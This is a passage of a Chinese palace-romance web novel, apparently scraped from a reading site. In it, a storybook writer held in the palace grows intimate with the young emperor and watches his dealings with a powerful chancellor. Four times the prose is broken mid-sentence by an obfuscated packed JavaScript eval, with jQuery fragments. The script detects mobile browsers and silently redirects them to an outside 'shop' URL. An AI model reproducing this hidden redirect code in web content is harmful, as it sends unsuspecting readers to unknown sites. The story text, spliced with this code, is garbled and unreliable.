这位长公主看上去比皇帝好相处得多,乔禧也回以真心实意的微笑,道:“不打紧,只是陛下身为天子,我原以为以前会有嫔妃或皇后在长华殿留宿的。” “怎么会?” 长公主拉着她的手,有些急切地解释:“阿珩是本宫从小看着长大的,除了前些年不务正业爱看闲书,身边可是自始至终都没有过别的女人,现在更遑论什么后宫妃嫔,你且宽心吧。” 如此,倒和她之前的猜测不谋而合,只是长公主说得殷切又具体,总让人觉得有些怪怪的。 简单作过自我介绍后,长公主带着她迈进主殿,边走边道:“听李太医说阿珩前些日子身体有恙,本宫便带了些点心花茶来看看他,见到他身边终于有了个知冷暖的人,本宫也能放下心来……阿珩性子犟,日后还请阿禧多留心了。” 乔禧百口莫辩,实在不知要如何解释自己现在的身份,只能装傻充愣地应付着,心想离开皇宫这件事的确不能再拖了。 她不过是个普通的话本先生,不求住进皇宫大富大贵,但求余生安稳平顺,如今一遭有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341183|199334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如梦中奇遇,梦终将醒,但或许日后可当作新的话本素材。 小宁愿性子活泼,被丫鬟看顾着在殿外扑蝴蝶,乔禧听长公主说话,不过两句便会聊到宁珩身上,说他当年生过一场怪病,也说他才貌双全、文武皆通。 送过长公主后时辰也已不早,乔禧惦记着要借读话本的机会同宁珩说清楚,于是天刚黑下来她便在门口等候,同时在心里暗暗琢磨着说辞。 但今日不同以往,宁珩回来的很晚,而且已经醉得不省人事。林泉说陛下去左相府上为其祝寿,被明里暗里灌了不少酒。 乔禧虽然不怎么关心朝中局势,但偶尔也听齐梦生提起过一些。左相曹敬乃是三朝元老,手握重权,别说是宁珩这个刚登基的新帝,就算先帝还在世,也要为他留三分薄面。 如此,左相若执意想让他喝醉,宁珩又怎会有不愿的余地? 乔禧只得把想说的话都咽回肚子里,看见丫鬟们有条不紊地照顾着他时,便自己默默地回了偏殿。 反正她帮不上什么忙,于情于理也不该呆在那里,还是早些走开别碍事的好。 只是还没等她想到要如何与齐梦生联系上,林泉便又来造访了。 乔禧打开门,满脸的不可思议,问:“陛下都喝醉了还要……” “不是不是,阿禧姑娘误会了。” 林泉连忙打断她的话,神色间竟是少有的凝重:“陛下喝过醒酒汤后已经睡下,只是不知为何睡不安稳,似乎被梦魇缠身。而前几天阿禧姑娘为陛下读过话本后,陛下都睡得很安稳……” “此时也是情景特殊,还请阿禧姑娘能去看看。” 乔禧只知道她读的话本让宁珩有了反应,却没想到还有此等功效。她随林泉去了正殿,只见宁珩正躺在榻上,双颊隐约透出些醉酒的酡红,眉心却皱得很紧,额头上布满薄汗,指尖时不时抓握着,像是被困在了某处。 林泉很轻地道过告退后,就领着丫鬟们退了出去。内间唯余两人,乔禧深吸了一口气,坐在榻边将宁珩的一只手握住后,便学着说书先生的样子摇头晃脑道—— “俗话说自古英雄出少年,且看如今江湖战火纷繁、明争暗斗不断,各路英豪为得到风波令大打出手,而这风波令,如今却在果果村里一个十七岁的小姑娘手中……” 乔禧本就不想读那些“嬉戏玩耍”的片段,如今没有了硬性要求,她便随着自己的意愿临场发挥起来。现下正在念的,乃是当初她刚被师傅带入门时,自己独立写完的第一个话本——《风波令》。 她本是写武侠话本出道,之后也曾写过灵异志怪、风云奇幻等题材,纵使现在已经作品无数,但她依然会记得,当初师傅说《风波令》第一日卖出了十本时,她是如何激动得一宿未睡,又是如何将这话本翻来覆去看得几乎能倒背如流。 如今再回想,却已是七年前的事了。 念完了主角出场,乔禧才想起看看宁珩的情况,男人的眉头已经舒展开,呼吸也平稳许多,乔禧暗暗松下口气,帮他把余汗擦掉后就无声退出了房间。 5. 《清心经》不清心 后半夜,乔禧一直留心听着正殿的动静,直到终于抵挡不住困意时才沉沉睡去。 翌日早,照例是林泉和白昙来送早膳,内心一番纠结后,乔禧还是忍不住问:“那个……陛下他可还好?” 林泉正盯着白昙布菜,闻言露出了然的神色,唇角弧度扩大,道:“多亏了阿禧姑娘,陛下昨夜睡得很好,今早一起来便去早朝了。” “那就好。”乔禧松下口气,心头那点自己都没意识到担忧也在慢慢散去。 “只是……” 听见林泉的欲言又止,乔禧赶紧放下筷子:“怎么了?” 林泉摇了摇头示意她不必担心,徐徐道:“陛下今早吩咐,阿禧姑娘的惩罚暂且中止,所以之后不用再去陛下殿里读书了。” 乔禧眼睛一亮,道:“那我就可以回去了吧?” “姑娘先别激动。”林泉还是那副泰山崩于前而面不改色的模样,笑容温和又得体,“陛下还说了,杜撰禁书、编排皇室之罪兹事体大,为免姑娘再犯,需把《清心经》全套抄写十遍,送于陛下检查无误后才算过关。” 心情一下从山峰跌落谷底,乔禧近乎绝望地哀嚎:“为什么???” 且不说感情话本里本就少不了这些情节,这京城里写艳色故事的作者遍地都是,更何况有些写得比乔禧还要变态恶俗,凭什么皇帝就揪着她一个人不放? 白昙也不禁扼腕痛惜,她想不出皇帝的用意,只能挠挠头,凭着自己的想法安慰道:“或许……是你的话本太火了,毕竟树大招风嘛。要是可以的话我也能帮你抄一点,你早些回去,我也能早些看到《蝴蝶戏》的最新话。” 经由白昙这么一提醒,乔禧才想起来,她最近正在更新的《蝴蝶戏》马上又该交稿了。 唉,“坐牢”了还要写话本,她还真是个天生劳碌命。 “算了算了,我抄还不行吗?” 正如白昙所说,既然无法反抗,那还不如立马接受,早些抄完早些离开这个是非颇多的地方,她也能尽快回归到自己正常的生活中。 乔禧兴致缺缺地用筷子拨弄着米饭,脑海里突然浮现起那晚,宁珩拽着她的手说要封她为妃的画面…… 当时她心跳如鼓,但即便是现在再回想起来,乔禧依然如此。 趁着她失神的间隙,又有一名小太监踏入偏殿内,怀里抱着近半人高的一摞书。林泉先示意小太监将东西放好,然后才笑眯眯地对乔禧说:“这便是全套的《清心经》了,一共二十四册,一册共三百五十页,阿禧姑娘誊抄时还请不要损坏,否则藏书室那边奴才不好交代。” 只瞟过一眼,乔禧内心又动摇了,她恨恨地剜了一眼眉眼弯弯的某人,小声骂道:“这个笑面虎……” 林泉还在笑着,也不知有没有听到这句话。略一思索后,乔禧又换上副讨好的表情对林泉说:“那个……可否麻烦你帮我点小忙?” 后者不紧不慢地看向她,道:“不必客气,姑娘请说。” “好嘞。”乔禧搓搓手,小心翼翼斟酌着词句,“就是……我在外面有个朋友,他知道我被抓走后非常担心,现在我还活得好好的,得想办法给他送信报个平安,你看……” 话没说完,但林泉已然明白,他眉头微扬,道:“三日后内宫要外出采买,辰时出发,晚些可就赶不上了。” 乔禧顿时喜笑颜开,利落应声:“得嘞!” 由此,乔禧顺利联络上了齐梦生,说明过自己此时境况,让他不要担心,同时也嘱咐他想办法送几本春/宫进来。 毕竟《蝴蝶戏》后面好几话都是亲密情节,乔禧对此了解得不多,想象力总归匮乏,还得借助些外援才行。 也许是政事忙碌,乔禧一连几日都没和宁珩打上照面,她乐得清闲,有时还把串门的小宁愿叫来帮忙抄书,没过几天便把第一遍抄完了。 趁着林泉来送东西,她就顺便将抄好的那些托他先交上去,只是这一交就交出了问题,皇帝的传召当晚便来了。 走在回廊上,乔禧揣揣不安地问:“莫非是陛下发现抄写的字迹不同了?” 林泉在前面带着路,道:“奴才侍奉陛下多年,虽谈不上了解,但也能看出来,若只是字迹有问题,陛下绝不会发如此大的火。” 乔禧心头一凉,只觉得此行恐怕凶多吉少了。 走到正殿门口时,林泉停下脚步,抬手对她道:“阿禧姑娘,请进吧。” 乔禧惊魂不定地咽了咽口水,道:“你不进去?” 林泉没有开口,但这沉默的意味已然不言而喻。 “那好吧。”乔禧讷讷说着,鼓足勇气踏了进去,甫一站定,就听得大门在背后骤然合拢,决绝地隔断了正殿与外界唯一的连接。 殿内烛火通明,映得处处生辉,门口离屏风后的内间只有短短几步距离,乔禧的双脚却像是灌了铅,每走一步便更沉重一分。 峰鼻薄唇,美目微阖,宁珩正半倚在榻上休憩,侧脸在这片宁静和暖中几乎好看成了一幅画。 乔禧在第一次读话本的位置跪下,小心翼翼地磕了个头,道:“参……参见陛下。” 说完,她就去偷瞄宁珩的表情,试图在上面找出些蛛丝马迹,可对方保持着姿势丝毫未动,只淡然开口:“过来。” 那声音仿佛淬了冰,带着让人不寒而栗的冷意。乔禧下意识觉得危险,本能驱使她快些逃走,可为数不多的理智提醒着她:敢跑半步就是死路一条。 双腿止不住发起颤来,可她不敢忤逆,只能就着跪下的姿势,颤颤巍巍地向前膝行了一步。 而在这时,宁珩终于睁开眼看向她,压低的眉眼里满蓄着风暴,男人吐字很轻,却带着与生俱来的威压—— “朕说话你听不懂么?” 乔禧被吓得不敢再抬头,连忙手脚并用地继续往前,可还不等再走出一步,她却突然被钳住手臂,顺着一股 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341184|199334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不容抗拒的力道跌了过去。 清淡的花香扑了满鼻,身体并不痛,她带着诧异睁开眼,却发现自己已然被拽上了榻,现在正以一个十分不雅观的姿势趴在宁珩的大腿上。 乔禧心头一空,反应过来后赶紧手忙脚乱地想要下来,宁珩的轻喝却从头顶传来,他道:“别动。” 这句话像一张定身符,乔禧下意识不敢再动,就这么老老实实地趴在宁珩腿上,隔着轻薄的衣料感受相贴处传来的陌生温度。 莹白的指尖落在面前,带着她的目光往软榻内侧轻飘飘一点,落处正好在那本封面朴素且书名空白的册子上。 “这是你拿来的?” 乔禧定睛一瞧,发现这册子正是由她抄写的《清心经》装订而成。因为单页太多不易存放,她便托了白昙找人帮忙订成册,最外面再用这种常见的蓝色封皮一套,看上去就和普通书册没多大分别。 腹部被压住有些吸不上气,乔禧有些喘息不匀地回:“禀陛下,这是草民……请林泉帮忙交于陛下的。” 话音刚落,下巴便被不轻不重地捏住,她还未反应过来便视线一转,最终对上男人愉悦又玩味的眼神。 宁珩眉头舒展,唇角心情很好地挂上弧度,道:“就这么想当朕的妃子?” 乔禧:“……啊?” 宁珩似乎是把她的惊讶当成了害羞,故而并未发觉异常,自顾自地又道:“朕不让你读话本,你就给朕送这种书,让你抄的《清心经》都抄去哪儿了?” 虽是问话,男人语气里却并没有诘责或是质疑的意思,可乔禧听得云里雾里,只能愣愣地答:“不是就在这么?” 她说得老实,却没注意到宁珩看她的眼神突然幽深起来。 趴着的姿势实在不利于说话,乔禧便打算起来,她刚撑着床铺直起半边身子,就被猛地按进了一个略带凉意的怀抱。 随之贴来的,还有唇上那个陌生的温度。 这个吻一如宁珩本人,触感温润,动作却很是蛮横,带着他自幼在皇宫里养出的矜骄,毫不讲理地闯入她的口腔,掠夺她的呼吸。乔禧是失足落水的人类,却甘愿溺毙在那片动人心魄的海。 脑子不知何时被一片混沌占据,她迷迷糊糊地将眼睛睁开一条缝,却见宁珩也正闭着眼,睫毛颤得厉害,像是春日里肆意飞舞的蝶。 一吻毕,乔禧脱力地摔进宁珩怀里,胸腔处欢快的震动有些吵闹,她的耳朵正好贴在此处,方觉两处心跳,一种悸动。 “罢了,是朕输了。” 宁珩无奈地说着,语气听上去大有几分认命的意味。乔禧察觉到身侧窸窸窣窣的声响,扭头去看时,正好见宁珩一只手将那话本拿近,然后捏着封面翻开了第一页。 白纸微微反射着烛光,其上不见整整齐齐的簪花小楷,只有墨笔绘就的、不着寸缕交缠在桌案前的一对男女。 乔禧心头一震,只觉得有什么东西轰然倒塌了。 6. 挑个来试试 “为免引人注意,你且帮我将图册伪装成普通书册,感激不尽!” 乔禧想起来,这是她在给齐梦生的信中写下的最后一句话。 本以为如此便能万无一失,却没想到她和齐梦生用的是同种书封,一个下面护着深远旷达的人生哲理,另一个下面却藏着世间最原始、最凡俗的欲望。 宁珩像是没发现乔禧的异样,收回的手随意而暧昧地搭在了她腰侧,道:“既然拿来了,那你来挑个觉得合适的姿势,我们今晚便试试。” 他说得不紧不慢,吐字轻得几乎成了气音,再加上喉头似有若无的哑意,像是黑暗洞穴里诱人深入的妖怪。 图上男女用的是最传统的姿势,但其实比这更夸张、更露骨的乔禧都看过,但今天,却是她第一次直面属于自己的欲望。 相贴的皮肤下搏动着热意,烫得人几乎要昏厥。今夜月色清明,房内却是一片旖旎无边,人惯有七情六欲,乔禧想,她也无法免俗。 薄薄的纸张像有了意识,她试了好几次才翻到下一页,这一幅要大胆得多,房间门窗大开,图中两人却在床上肆无忌惮地贴合。乔禧还在思考,却有一只手径直伸过来,将那页翻了过去。 她有些不明所以,却听见宁珩有几分认真地说:“腿抬太高会累,不妥,换一个吧。” 尽管后腰上的触感已经热得让人无法忽视,但男人还是强撑着理智和镇定,像是打定主意要给她最好的体验。可乔禧不只是昏了头还是怎么,竟从中听出一丝嫌弃她的意味。 “不行,就要这个!”她不愿落了下风,便又飞快地翻回那一页,语气是不容置喙的坚定。 还未能等到回答,潮湿的吻先铺天盖地地落下,是心动亦是情动,乔禧无意识伸手搂住宁珩的脖子,很快便被带着落入了床榻深处。 呼吸声凌乱地交杂着,伴着此起彼伏的啧啧水声,像是要把空气搅碎,揉成一片深邃而粘腻的河。 正当宁珩打算有下一步动作时,乔禧却突然触电似的浑身一颤,腹部的钝痛来势汹汹,再加上那阵陌生又熟悉的热流,让她心里冷不丁产生了不好的预感。 宁珩还以为是自己把她弄得不舒服了,刚要安抚,却被乔禧猛地推开,他一时失察摔在了榻上,等反应过来时,人已经从门口消失不见了。 这次来皇宫来得突然,乔禧还未在月事上有所准备,幸好在路途中遇见了白昙,这才能勉强处理好。 她去换了身干净衣裳,正殿里还是一片灯火通明,原本守在门口的林泉不知去了何处,乔禧在门前来回踱步了好几趟,怎么也想不出该如何开口解释这件事。 殿内安静得针落可闻,无人可知晓宁珩现在是何心情,乔禧烦闷地用脚把一颗小石子碾得稀碎,垂着头时却忽见光线大盛,被房门遮挡的明黄烛光慷慨洒下,正好照亮眼前,也在地上清晰地投下一个人影。 “站了半天不进去,是要朕请你?” 声音冷而生硬,隐约含着怒意,宁珩就在站门口,眼尾下垂,唇线拉得很直,就差把“我不高兴”几个字写在脸上了。 乔禧如蒙大赦般赶紧跪下,半途却听见男人发出极其不耐烦的一声“啧”。 “动不动就跪,朕就那么可怕?” “不可怕不可怕!”乔禧反应极快地收回膝盖,一串真假参半的夸赞不假思索地便吐了出来,“陛下一表人才惊为天人慈悲为怀菩萨心肠,草民巴不得日日夜夜都看见陛下才好。” 宁珩轻飘飘地睨了她一眼,从喉头发出一声漫不经心却愉悦非常的冷哼,唇角勾起的弧度得意又柔软,道:“朕公务繁忙,这么粘朕可不行。” 像是想起什么,他的神情又冷了几分,道:“不过今晚这件事,你必须给朕一个交代,先进来再说。” 乔禧站在原地没动,诚惶诚恐地说:“陛下……实不相瞒,草民今夜忽然身体抱恙,怕冲撞了陛下,草民还是不进去了。” 民间早有这样的习俗,皇宫里自然也不例外,乔禧满心想着为宁珩好,却得了他不耐烦的一眼。 “朕乃是真龙天子,岂会被这种小事冲撞到?”宁珩微眯着眼瞪她,干净利落地下了最后通牒,“是自己进来……还是要朕抱你进来?” 乔禧想都没想,说着“自己进”就抬脚迈过了门槛,随着宁珩一路进了内间。 一切如常,凌乱的床榻也已被整理好,可等宁珩在桌案后坐下时,乔禧才发现他身旁不知何时又添了个凳子。 看着比宁珩坐的那个稍矮些,上面还贴心地放了软垫,只消得宁珩一个眼神,乔禧已经自觉过去坐下了。 虽说长华殿的地毯跪起来并不让人觉得难受,但怎么还是比不上坐着,软垫舒适非常,乔禧有些矜持地将背挺直,内心暗暗感叹宁珩的细心。 而被夸的本人显然无法察觉她的心声,只拿起一本书随意翻着,道:“说吧,怎么回事?” 乔禧抿了抿唇,老老实实交代:“方才月事突然到访,草民也没反应过来,只能先出去清理干净,草民……” 停顿片刻,她微微垂下头,闷声道:“草民不是有意要拒绝陛下。” 不是迫于强权,也并非被美色迷了神智,心生欲念的,从来都不止宁珩一人。 “别撒娇……”宁珩心情很好地去捏她的脸,方才的冷意早已荡然无存,“既然身体有恙,这件事便日后再说,时候也不早了,你且回去休息。” 没想到他这么好说话,乔禧满肚子腹稿全没派上用场,只是情绪放松下来后,某些感觉便无法再忽视,她也是该回去好好睡一觉了。 “那……草民告退了?” 宁珩斜了她一眼,眉头轻挑:“舍不得?” “没有没有。” 乔禧连忙要退出去,临到屏风处又突然被叫住,她扭头去看,只见宁珩手里捏着着个蓝色封皮的册子,示意似的对她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341185|199334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扬了扬。 “这个,没收。” 男人懒散地倚着扶手,眉眼间盛着愉悦,语气满是揶揄:“若是再让朕发现,你可就没那么容易逃了。” 乔禧想起其余的几本还被她藏在枕头下面,不禁打了个寒颤,一句话没说拔腿就跑了。 回到偏殿不久后,猝然消失的林泉这才现身来,身后跟着的丫鬟一个接一个地送上热水、暖炉和汤药,问及时也只笑着说:“这都是陛下吩咐的。” 想当初难受时还要被催着交稿,如今齐梦生不在身边,再加上这时候本就没什么灵感,乔禧干脆就把《蝴蝶戏》的下一话暂且搁置,安安心心地吃好喝好。宁珩这几天也没找过她,只是听林泉“无意”中说:陛下每晚都会问奴才,阿禧姑娘今日如何。 乔禧心中感动万分,本想着等月事过后亲自去表示感谢,但宁珩的传召却来得更快。 来叫她的是一位身披软甲的年轻人,与乔禧还算得上是老朋友,不过此番再见面已是今非昔比,男人利落地一抱拳,道:“之前多有得罪,在下御前大臣朔风,见过乔姑娘。” 乔禧当然不会忘记自己是如何被抓进皇宫的,但人家毕竟只是奉命办事,她也无需为此计较,便学着对方的样子也抱了抱拳,说:“都是误会,朔大人不必多心,叫我乔禧便是。” 一番寒暄后,她被朔风领去了御书房。此处乃是皇宫重地,处处可见官兵把守,气氛肃穆庄重,来往的人皆是身着官服,一脸正色,同朔风见面时会拱手道一句“朔大人”。 朔风将她送到门口便止了步,道:“陛下就在里面,乔小姐请进吧。” 桌椅古朴精致,多宝阁内摆满玉器珐琅,紫檀边框的挂屏上山水交映,虽是处处不露金银,却是处处显奢侈。 方桌前,宁珩黄袍加身,俊美非凡,正执笔垂眸写着什么。乔禧小心翼翼地跪下叩首,道:“草民见过陛下。” “嗯。”宁珩并未抬头,手上动作不停,“起居郎方大人今日身体抱恙,记录朕起居言行的事就暂且交于你,你就在旁边坐下,不必出声,一切如实记录便是。” 听着似乎并不难,就是将陛下说了什么、做了什么都写下便是。侧前方的确有一张矮桌,通体漆黑朴素,若非专门留心,的确不容易让人注意到。 乔禧在那桌后坐下,面前纸笔齐全,她提起狼毫蘸墨,看了看宁珩后,便在白纸上写下:大昭十五年三月十二日。未时,上于御书房理政…… 刚写完没多久,便有一位公公进门奏报:“陛下,左相求见。” 宁珩笔尖一顿,面上出现几分耐人寻味的神色。乔禧略一思忖,便想起这位左相正是前些日子将宁珩灌得烂醉的那位。 为君最忌讳权力分散,而如今朝中大部分势力都听命于左相曹敬,宁珩虽为九五至尊,但终究根基不稳,故而于情于理,他现在都没有拒绝的余地。 “请左相进来。” 7. 男人可真难哄 虽用着敬语,宁珩脸上却没有半分欢迎的意思,墨玉般的眸子还专注地落在奏折上,仿佛来的不过是个无足轻重的人而已。 反倒是左相曹敬,甫一进门便是满面带笑,褶皱间平添几分老态,乌纱帽端正戴于头顶,大红官服加身更显精神,但不知道是不是错觉,乔禧总觉得那笑容并未掺有多少真心,看上去反叫人瘆得慌。 “老臣——参见陛下。” 直到这时,宁珩才终于停下笔,抬头打量了眼他一眼,淡淡道:“左相请起。” “云禄,请左相入座。” 被唤作云禄的那位公公看着比林泉年长许多,恭敬应了声“是”后,不一会便有两个小太监将一把雕花檀木椅端了上来,正好放在曹敬身后。 而曹敬嘴上虽说着不敢,身体还是对此安然受之,坐下时连声谢也未提,不知是有意还是无意。 即便是乔禧这个旁观者,也能明显感受到此番客气表象之下的汹涌暗流。 不必再有吩咐,茶水也随后被奉上,如今能在御前有此待遇的,恐怕就只有曹敬一人了。 也许是见过了宁珩笑起来的样子,故而乔禧看他不笑时只觉得严肃,只需一个眼神或是动作,便可施以无形的威压,让空气都隐约凝重起来。 “不知左相此次到访,所为何事?” 曹敬慢悠悠地刮了茶沫,喝过一口后才从容不迫地道:“禀陛下,老臣此次前来并非是为公事,只不过今日早朝时见陛下脸色不佳,故而特意前来探望。” 乔禧飞快地沾了墨,在纸上将左相来访的事如实记下,正奋笔疾书时,宁珩也在此时开了口,语气平淡:“不劳左相费心,朕近日身体康健,倒是左相年事已高,也该到儿孙满堂、安享天伦的时候了。” “多谢陛下关怀,臣受宠若惊。”曹敬连忙起身作揖,末了又叹道,“先帝临走前曾亲自吩咐老臣,要不遗余力辅佐陛下。臣虽年老体弱,但也想谨遵先帝遗诏,为我大昭、也为陛下尽绵薄之力啊。” 那边说得恳切,乔禧却从宁珩眉眼间读出几分不耐,看来比起在政事上不合,这种真假不明的感情牌才更让人难以招架。 不等宁珩回应,曹敬话锋一转,接着道:“只是陛下登基已有数月,却迟迟没有建立后宫,大昭无后,老臣实在寝食难安……老臣恳请陛下举办选秀,召集各家小姐入宫,尽快为我大昭开枝散叶!” 说着,曹敬将衣摆一掀,竟是毅然决然地跪了下去,神色之坚定无不让人感叹,只可惜宁珩似乎并不领情,眉头反而皱得更深了。 他做了个手势,云禄立刻会意,上前将曹敬扶起。曹敬一边起身一边用袖子揩着泪,宁珩终究还是没把话说得太绝,只道:“左相的意思朕已明白,只是朕刚刚接手大昭,根基不稳,尚且无暇顾及儿女情长,选秀一事容后再议吧。” 乔禧马不停蹄地将两人的对话记下,抽空去看宁珩的表情时却和他对视了个正着,男人丝毫没有被抓包的尴尬,反而更加大胆地微微偏过头来,直勾勾地看着她,眼神中颇有几分不满和怨怼。 刚放下的笔又被乔禧赶紧拿了起来,她撇撇嘴,装成认真书写的样子复把头低下去,心道原来起居郎还要被皇帝监工,莫非是怕被写了坏话? 曹敬还想再劝,刚开口便被宁珩毫不留情地堵了回去:“罢了,朕还有事处理,左相若没有其他要务,就先退下吧。” 云禄已经很有眼力见地走上前去打算送客,曹敬却抬手将人拦下,又对着宁珩作揖,道:“陛下心系大昭,臣倍感欣慰。眼见今年祭礼将至,皇陵的祭殿年久失修,为免届时突发不测,陛下……祭殿修缮翻新一事也该提上日程了。” 祭礼事关国之安定,也是新帝登基后第一次主持大典,自然容不得马虎。宁珩神色稍缓,道:“左相所言甚是,此事便交由工部侍郎全权负责。” 曹敬对此没有异议,之后也便没再多留,乔禧将修缮祭殿之事也如实记下,只是动笔时不知为何,总觉得有目光似有若无地落在自己身上。 其中隐约带着好奇、审视,以及几分颇有深意的探究。 乔禧写完后便下意识朝来源看去,只是御书房内不知何时只有两人,曹敬已经退下,云禄应是跟去送客了。 她不明所以地收回视线,转头却见宁珩正看向这边,对视的刹那,他道:“记得如何了?” 果然是来监工的,乔禧暗自腹诽。 “回禀陛下,今日左相觐见之事已完整记好,陛下可随时过目。” “不必了。”宁珩看起来兴致缺缺,似乎并不在乎起居注写得如何,只是很快话锋一转,状似无意地开口,“左相让朕选秀开后宫,对于此事,你有何看法?” 乔禧交握于身前的双手猛然一顿,刹那间还在疑心自己是不是听错了。 对上宁珩饶有兴致的目光,她心知这个问题是逃不过了,垂着头思索了会,才道:“草民以为……呃,左相说的……也有道理。” 她抿了抿唇,努力压下心头莫名涌出的失落,在众多思绪中只挑了最为稳妥的说出。 “哼。”宁珩闻言却不高兴了,眉眼一横,唇角自带的弧度顿时无影无踪,“朕供你吃供你住,你倒好,开始胳膊肘往外拐了?” 乔禧内心大呼冤枉,连忙解释道:“后宫一事的确关乎社稷,而且陛下身边也的确需要一位知冷暖的人……” 说着,她却气势渐渐弱了下去,是因为心虚还是别的什么,自己也看不清了。 宁珩白了她一眼,似乎是觉得无趣,便又将注意力放回了奏折上,冷声道:“你懂什么?女人惯是会玩弄心思、骗人感情的,朕才不需要。” 乔禧自认为一番话说得滴水不漏,没想到却把宁珩惹生气了,只好忙不迭换了话题:“前些日子草民身体不适,多亏陛下关照,草民感激不尽,在此谢过陛下。” 宁珩应是原本就没有不理她的心思,很快将笔放下,微扬的眼角出现几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341186|199334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 分得意,嘴上却丝毫不留情面:“只是一句谢,就没有别的表示了?” 这一问,可属实是把乔禧问住了。 她何尝没想过空口答谢是为不妥,但宁珩贵为天子,论钱论权论吃论喝……就没有他缺的,乔禧想来想去,还是觉得一句真诚而淳朴的感谢最是合适,而且也能在她的力所能及范围内。 见宁珩脸色又要变,乔禧赶紧找补:“送金银太过物质,送权势我也没有,草民只是个普通的话本先生,能力实在有限……但陛下要是有什么想要的,也可告诉草民,草民呃……想想办法。” 她东拼西凑着终于说出句还算听得过去的话,宁珩看起来却心情不错,下巴一扬,矜骄地问:“朕想要什么都行?” 话递到嘴边,乔禧哪还有不应的余地,只得硬着头皮道:“只要不是让草民去摘天上的星星月亮,其他……什么都行!” 唉,男人可真难哄啊。 “朕要那些做什么?”宁珩很是满意地欣赏了会她为难的表情,这才大发慈悲地说,“你若是真想感谢朕,日后便在朕身上多花些心思。” 这话听着莫名有歧义,乔禧迟疑了一瞬,但迎上对方明亮的、带有希冀的眸子,她就一句拒绝的话也说不出了。 花心思……如何算得上花了心思,这是个问题。 乔禧回去后百般思索无果,决定请教身边的人—— 天光大亮,惠风晓畅。白昙站在廊下打了个响指,信心十足地道:“花心思嘛,就是时时想着他,刻刻念着他,每天都要去见他,少一天都不行!” 乔禧为难地挠挠头,道:“这好像有点难,还有更简单的吗?” 见面一事的确说不上有难度,但乔禧还记得自己并非皇宫中人,不日便会回到闲欢书坊,继续做一个普普通通的话本先生,如此,她和宁珩便不会有再见面的机会了。 稍作沉默后,林泉不紧不慢开口:“花心思一事并无标准,关键在于姑娘要用心对陛下好,让陛下感受到你的情意。” 经他这么一说,乔禧更加云里雾里了,只是她突然发现了更重要的问题,于是连忙反驳:“谁跟你说是陛下了,皇宫重地不可妄言,林泉你怎么也犯起这么低级的错误了?” “哦,是么?”即便是被冤枉,林泉依然不动如山,一脸看破不说破的样子,微微笑道,“原来不是陛下啊。” “……” 乔禧被他盯得心里直发毛,草草地解释了句“是我一个朋友而已”,然后便将注意力引向正在啃糕点的宁愿身上,煞有介事地问:“小公子,你怎么想的?” 宁愿的脑瓜里哪能有什么复杂的理解,稍加思考后便兴奋地说:“花心思,就是给他做很多好吃的啊!娘亲就经常给我做好吃的,嬷嬷说,这都是殿下花了心思做的,你可要多吃点。” 该说不说,此言虽是童言稚语,但要做成却并不难,俗语道民以食为天,送吃的总归没有错。如此,乔禧心中便有了决断。 8. 全部都会吃完 御书房那日,左相虽来者不善,但有句话倒是没说错,就是宁珩这几天看上去的确精神不佳,眼底的乌青久久不散,闲时也是一副神色怏怏的样子。 乔禧想着,若是能为他送上一锅有静心助眠之功效的药膳的话,宁珩怎会感受不到她的“花心思”? 说干便干,趁着某天风和日丽,她借口抄《清心经》抄累了出去散散心,便偷偷摸摸一路打听到了太医院。 毕竟是位于皇宫角落,太医院的规格制式定然比不上城中,但胜在环境清幽,草药气味浓郁,倒也在这寸土寸金之地自成了一片风景。 甫一进门,便有个长相乖巧的小少年上前,抱着手温和地问乔禧:“这位姑娘,请问此番前来所为何事?” 乔禧受不得这样的大礼,也回礼道:“我是专程来找李太医的,敢问他此时可在?” 要说近期最了解宁珩身体的,应当就是当初曾诊出他有梦/遗之症的李太医了,如此便可省去交代的功夫,直接让他帮忙开药。 “在的,姑娘请稍等,下官这就去禀报李太医。” 